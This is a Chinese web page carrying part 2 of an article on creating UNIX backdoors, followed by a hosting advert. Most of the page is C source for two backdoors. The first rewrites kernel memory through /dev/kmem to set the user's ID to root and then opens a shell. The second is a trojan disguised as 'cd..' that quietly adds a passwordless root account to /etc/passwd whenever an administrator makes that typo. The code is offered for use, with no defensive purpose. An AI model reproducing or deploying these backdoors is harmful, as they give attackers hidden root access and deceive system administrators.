創(chuàng)建UNIX后門(高級篇) (2) |
發(fā)布時間: 2012/9/4 18:39:22 |
c, argv, envp) int argc; char *argv[], *envp[];{ int count, fd; long where, lseek(); if(argv[1]){ if(!(strcmp(pass,argv[1]))){ fd=(open("/dev/kmem",O_RDWR); if(fd<0){ printf("Cannot read or write to /dev/kmemn"); perror(argv); exit(10); } userlocation=address(); where=(lseek(fd,userlocation,0); if(where!=userlocation){ printf("Cannot seek to user pagen"); perror(argv); exit(20); } count=read(fd,&userpage,sizeof(struct user)); if(count!=sizeof(struct user)){ printf("Cannot read user pagen"); perror(argv); exit(30); } printf("Current UID: %dn",userpage.u_ruid); printf("Current GID: %dn",userpage.g_ruid); userpage.u_ruid=0; userpage.u_rgid=0; where=lseek(fd,userlocation,0); if(where!=userlocation){ printf("Cannot seek to user pagen"); perror(argv); exit(40); } write(fd,&userpage,((char *)&(userpage.u_procp))-((char *)&userpage)); execle("/bin/csh","/bin/csh","-i",(char *)0, envp); } } } <--> [“笨”方法] 你有沒有曾經(jīng)試過在 Unix 系統(tǒng)下錯把 "cd .." 輸入為 "cd.."?這是由于使用 MS Windows 和 MS-DOS 養(yǎng)成的習(xí)慣。這種錯誤網(wǎng)管是否也會犯呢?如果是這樣的話,可不可以讓他為我們做點“貢獻”呢?:) 例如當(dāng)他輸入 "cd.." 時,會激活我們的木馬程序。這樣我們就不必登錄到系統(tǒng)去激活木馬了。以下是程序示例: <++> backdoor/dumb.c /* 本程序可在管理員偶然地輸入 cd.. 時向 /etc/passwd 文件添加一個 UID 0 帳號。但同時它也實現(xiàn) cd .. 功能,從而騙過管理員。 */ #include #include main() { FILE *fd; fd=fopen("/etc/passwd","a+"); fprintf(fd,"hax0r::0:0::/root:/bin/shn"); system("cd"); } <-->
本文出自:億恩科技【mszdt.com】 服務(wù)器租用/服務(wù)器托管中國五強!虛擬主機域名注冊頂級提供商!15年品質(zhì)保障!--億恩科技[ENKJ.COM] |